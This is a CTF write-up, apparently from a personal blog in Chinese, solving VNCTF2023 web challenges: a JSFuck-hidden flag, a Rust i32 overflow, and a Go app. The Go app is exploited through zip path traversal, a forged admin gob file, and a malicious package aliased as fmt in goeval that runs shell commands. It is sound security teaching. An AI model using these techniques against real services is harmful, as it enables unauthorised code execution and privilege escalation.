VNCTF2023WEB复现

文章发布时间:

最后更新时间:

文章总字数:
4.4k

预计阅读时间:
19 分钟

VNCTF2023WEB复现

这个 VNCTF2023 的 web 有点考查新人学习能力的意思,出的都是不是很常规的题,出的 js,rust 和 go,为什么出的不是 python,php 和 java!虽然已经是 VN 的队员了,但依照惯例还是来做做这个招新赛,有一说一,学到了挺多知识,rust 和 go 都从0到0.1了。

WEB

象棋王子

传统 js 题,这种给你个小游戏的一定是 js 题,总之就是要找到获得 flag 的逻辑。

找逻辑可以先输一遍,看看会输出什么提示,再根据这个去快速定位代码,

image-20231001235015722

我们可以根据这行字快速定位最后的判断逻辑,但是有个小问题:很多时候 js 打开中文是乱码,可以点击火狐的修复编码,再查。

这里查到是一个 jsfuck 编码,直接控制台运行就行。

image-20231001235322313

电子木鱼

这是一道 rust 题,需要有基础的 rust 语言知识,其实也不用有多少 rust 语言知识,考的点也不是 rust 的特性,考的是数据溢出。

分析一下关键的代码:

请求 / 时候的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
let mut context = Context::new();

context.insert("gongde", &GONGDE.get());

if GONGDE.get() > 1_000_000_000 {
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}

match tera.render("index.html", &context) {
Ok(body) => Ok(HttpResponse::Ok().body(body)),
Err(err) => Err(error::ErrorInternalServerError(err)),
}
}

可以看到当我们的功德大于1000000000的时候就可以得到 flag 。

使用 post 请求 /upgrade(获得功德的关键)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}

if body.quantity <= 0 {
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}

if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;

if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity; //这里是关键。
}

if GONGDE.get() < cost as i32 { //当功德小于消耗的时候就无法减,将cost转为了i32,cost太大会发生溢出,导致cost变成负数,进而使得功德变成一个超大数
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}

if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}

if payload.name == "Cost" {
return web::Json(APIResult {
success: true,
message: "小扣一手功德",
});
} else if payload.name == "CCCCCost" {
return web::Json(APIResult {
success: true,
message: "功德都快扣没了,怎么睡得着的",
});
} else if payload.name == "Loan" {
return web::Json(APIResult {
success: true,
message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
});
} else if payload.name == "Donate" {
return web::Json(APIResult {
success: true,
message: "好人有好报",
});
} else if payload.name == "Sleep" {
return web::Json(APIResult {
success: true,
message: "这是什么?床,睡一下",
});
}
}

web::Json(APIResult {
success: false,
message: "禁止开摆",
})
}

前面的 payloads 里面定义了五种行为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];

当功德小于消耗的时候就无法减,而这里将 cost 转为了i32(其实和 java 的 int 范围一样),cost 太大会发生溢出,导致 cost 变成负数,进而使得功德变成一个超大数,从而得到 flag 。

image-20231002190722255

但是也需要注意这个 quantity 不要过大,否则 quantity 先溢出了。

这个 rust 其实还是比较好懂的,不涉及多少 rust 的特性,会传参就行,M1师傅还是手下留情了。

Baby Go

这是一道 go 题,需要有基础的 go 语言知识,可以先看看下面这个教程了解一下

https://www.runoob.com/go/go-tutorial.html

GO语言基础知识

这里记录一些重点。

基础组成

Go 语言的基础组成有以下几个部分:包声明,引入包,函数,变量,语句 & 表达式,注释

可以通过一个简单的输出 Hello World 的代码来看看这些基础组成具体的表现形式。

1
2
3
4
5
6
7
package main  //包声明

import "fmt" //引入包,多个包可以用括号包裹,空格隔开就行

func main() { //main函数是程序执行的入口,但是如果有init()则会先执行init()
fmt.Println("Hello, World!")
}//fmt包实现了格式化的输入和输出,类似cpp里的iostream

导出

当标识符(包括常量、变量、类型、函数名、结构字段等等)以一个大写字母开头,如:Group1,那么使用这种形式的标识符的对象就可以被外部包的代码所使用(客户端程序需要先导入这个包),这被称为导出(像面向对象语言中的 public);标识符如果以小写字母开头,则对包外是不可见的,但是他们在整个包的内部是可见并且可用的(像面向对象语言中的 protected )。

可以使用 go run hello.go 来执行代码,也可以使用 go build hello.go 来生成二进制文件。当然也可以使用 GoLand 配置好 sdk 然后一键执行。

在 Go 程序中,一行代表一个语句结束。每个语句不需要像 C 家族中的其它语言一样以分号 ; 结尾。

变量

声明变量的一般形式是使用 var 关键字:var v_name v_type

注意这里变量类型是放在变量名后面的,也可以不指定变量类型直接赋初始值,会根据值自行判定变量类型。

声明变量并赋初始值的另一种方式:v_name := value ,这种方式是下面这两行的简写。

1
2
var intVal int 
intVal =1

出现在 := 左侧的变量不应该是已经被声明过的,否则会导致编译错误。另外可以像 python 一样同时进行多变量的声明。

go 语言中也有类似 C 语言的指针,通过 & 来获得变量的地址。常量就是前面加个 const 。

函数定义

1
2
3
func function_name( [parameter list] ) [return_types] {
函数体
}

如果没有返回值,return_types 就不用写。如果有多个返回值,可以以元组形式返回。

数组

Go 语言数组声明需要指定元素类型及元素个数,语法格式:var arrayName [size]dataType或者numbers := [5]int{1, 2, 3, 4, 5}

数组长度不确定可以使用 ... 来代替数组长度,go 会自动根据元素个数推断。

结构体

结构体定义需要使用 type 和 struct 语句。struct 语句定义一个新的数据类型,结构体中有一个或多个成员。type 语句设定了结构体的名称。结构体的格式如下:

1
2
3
4
5
6
type struct_variable_type struct {
member definition
member definition
...
member definition
}

定义好结构体之后就可以使用这个结构体来声明变量,语法格式如下:variable_name := structure_variable_type { key1: value1, key2: value2..., keyn: valuen}

好了,了解了这些基础知识,就可以开始看这题了,等一下解题过程中有新东西再解释一下。

源代码分析

由于源代码挺长的,我们可以按照路由分开来分析:

准备工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)

type User struct {
Name string
Path string
Power string
}

func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")

这些代码主要是做了声明包,引入包,定义结构体,然后主函数中创建了一个默认的 Gin 路由引擎,配置中间件来存储 cookie 和 session,接着从 template 文件夹下面加载了 HTML 模版,总的来说就是为下面的路由分发做准备工作。

/路由

逐行注释由 GPT 提供:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
r.GET("/", func(c *gin.Context) {
// 使用客户端IP和固定字符串生成MD5,然后将其作为用户目录的一部分
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"

// 从Gin的Context中获取默认的session
session := sessions.Default(c)

// 在session中设置一个键为"shallow"的值,值为用户目录
session.Set("shallow", userDir)

// 保存session的更改
session.Save()

// 创建用户目录
fileutil.CreateDir(userDir)

// 在用户目录中创建一个名为"user.gob"的文件,用于存储用户信息,os.Create有两个返回值,第二个是错误信息,通常还需要加上一个判断,判断err是否为nil,如果不是就说明出错了。
gobFile, _ := os.Create(userDir + "user.gob")

// 定义用户信息
user := User{Name: "ctfer", Path: userDir, Power: "low"}

// 创建一个新的gob编码器,并将其写入gob文件
encoder := gob.NewEncoder(gobFile)

// 使用gob编码器将用户信息编码到gob文件中
encoder.Encode(user)

// 检查用户目录和用户gob文件是否存在
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
// 如果存在,则返回HTTP 200状态码,并呈现名为"index.html"的模板,并传递一个包含用户路径的消息
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}

// 如果用户目录或者用户gob文件不存在,则返回HTTP 500状态码,并呈现名为"index.html"的模板,并传递一个失败消息
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

整体看,r.GET方法用于处理 GET 请求,接收的第一个参数就是路由 / ,表示当 GET 请求路由 / 的时候使用该方法处理,而第二个是具体处理请求的函数(一个回调函数),这个函数的参数 c *gin.Context 是一个指向 gin.Context 类型的指针,变量名是 c 。gin.Context 是Gin框架中一个非常重要的结构体,它封装了一个周期内的请求和响应,并提供一些用于处理HTTP请求的方法和字段(有点像 asp 里的 Request 对象)。

  • c.Requestc.Writer 分别提供对原始的HTTP请求和响应的访问。
  • c.Param(name string) 可以获取路径参数。
  • c.Query(key string)c.PostForm(key string) 可以获取查询字符串和表单数据。
  • c.JSON(code int, obj interface{})c.HTML(code int, name string, obj interface{}) 可以发送JSON和HTML响应。

这个方法的主要逻辑就是创建了一个 user.gob 文件,并写入了用户的信息,存储在了用户目录下。

/upload路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})

r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/" //注意路径
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})

这就是一个很普通的文件上传页面,值得注意的是这里禁止上传 .gob.go 后缀的文件。

/unzip路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path")) //从请求获取path,也就是说可以控制解压到的路径
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})

一个很普通的解压页面,不对,为什么这种地方会有解压?!这似乎在暗示我们上传压缩包,并且可以指定解压到的路径,这就可以实现任意文件上传到任意位置,不再受文件上传页面的限制。

/backdoor路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")) //我们需要的goeval,代码执行
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

r.Run(":80")

可以看到是对 user.gob 里面的 Power 进行验证,如果是 admin ,就可以走到 goeval ,结合前面的分析很容易得知我们要做的就是自己上传一个 user.gob ,把原来那个自动生成的覆盖掉。由于上传的限制,需要先上传压缩包,再解压到用户目录下,先自己写一个生成 user.gob 的 go 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package main

import (
"encoding/gob"
"os"
)

type User struct {
Name string
Path string
Power string
}

func main() {
user := User{
Name: "pazuris",
Path: "test",
Power: "admin",
}
file, err := os.Create("user.gob")
if err != nil {
panic(err)
}
defer file.Close()
encoder := gob.NewEncoder(file)
err = encoder.Encode(user)
if err != nil {
panic(err)
}
}

运行之后就有 user.gob 了,压缩上传解压,注意解压的路径输入的是 ../ 这样就可以跳出 upload 目录,到用户的目录下。访问 backdoor ,发现页面出现 good ,说明代码执行了。

image-20231002153550697

下一步就是利用这行代码来执行我们自己的代码 :eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

简单说明一下这个 goeval.Eval

goeval.Evalgoeval库中的一个函数,它用于执行Go语句。这个函数接收三个参数:

  • 第一个参数是一个可选的代码片段名,这里传递的是空字符串。
  • 第二个参数是需要执行的Go语句,这里是fmt.Println("Good"),也就是在控制台打印出字符串”Good”。
  • 第三个参数是一个包的名字,这里是c.DefaultQuery("pkg", "fmt"),表示默认使用fmt包。c.DefaultQuery是Gin框架中的一个方法,它从查询字符串、表单或JSON中获取一个参数,如果没有找到该参数,就返回一个默认值。

可以看到关键是第二第三条语句,第二条语句写死了执行的是包 fmt 的 Println 方法,第三条语句用来指定 goeval.Eval 执行的代码应该引入哪个包,如果我们没有通过 pkg 参数传递,就默认引入 fmt 包。

由于我们可以控制的只有引入的包,那我们可以导入一个恶意的包,里面重写了 Println 方法,从而达到代码注入的效果,可是第二条语句要求的是包 fmt ,这时候要想到 go 语言的包别名知识,通过在 pkg 位置传入 fmt evil ,就可以将 evil 包的别名设为 fmt ,从而实际执行的是 evil.Println 。包需要上传到相应的目录下才能够引入,先随便在 pkg 位置输点,通过报错看出目录(其实试常见的包目录也可以)

image-20231002154439909

可以看到,我们需要上传到 /usr/local/go/src/evil 下面,先写一个恶意包(其实只需要往包目录上传一个 go 源文件就行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package evil

import (
"fmt"
"os/exec"
)

func Println(a string) {
_ = a
cmd := exec.Command("cat", "/ffflllaaaggg") //省略了探目录的步骤,一样的命令执行
out, _ := cmd.CombinedOutput()
fmt.Println(string(out))

}

记得接收一下原来传进来的那个 string ,不然会报错。解压上传:

image-20231002155410395

多向上跳两层保证到根目录,然后输入路径。访问 backdoor 输入别名得到 flag。

image-20231002155516706

如果不想上传解压两次,可以上网查 go 反弹 shell ,操作一样的。另外还有另一种方法是基于 Eval 源码进行 goeval 逃逸,可以参考 pop 的 wp。主要就是闭合 import ,然后构建一个 init 方法,因为它会比 main 函数更先执行。

https://boogipop.com/2023/03/02/VNCTF2023/

这道题烨师傅出的,出得挺好,虽然不是很难,但是可以锻炼到新人的学习能力,而且做完这道题能学到不少 go 的知识,算是超值!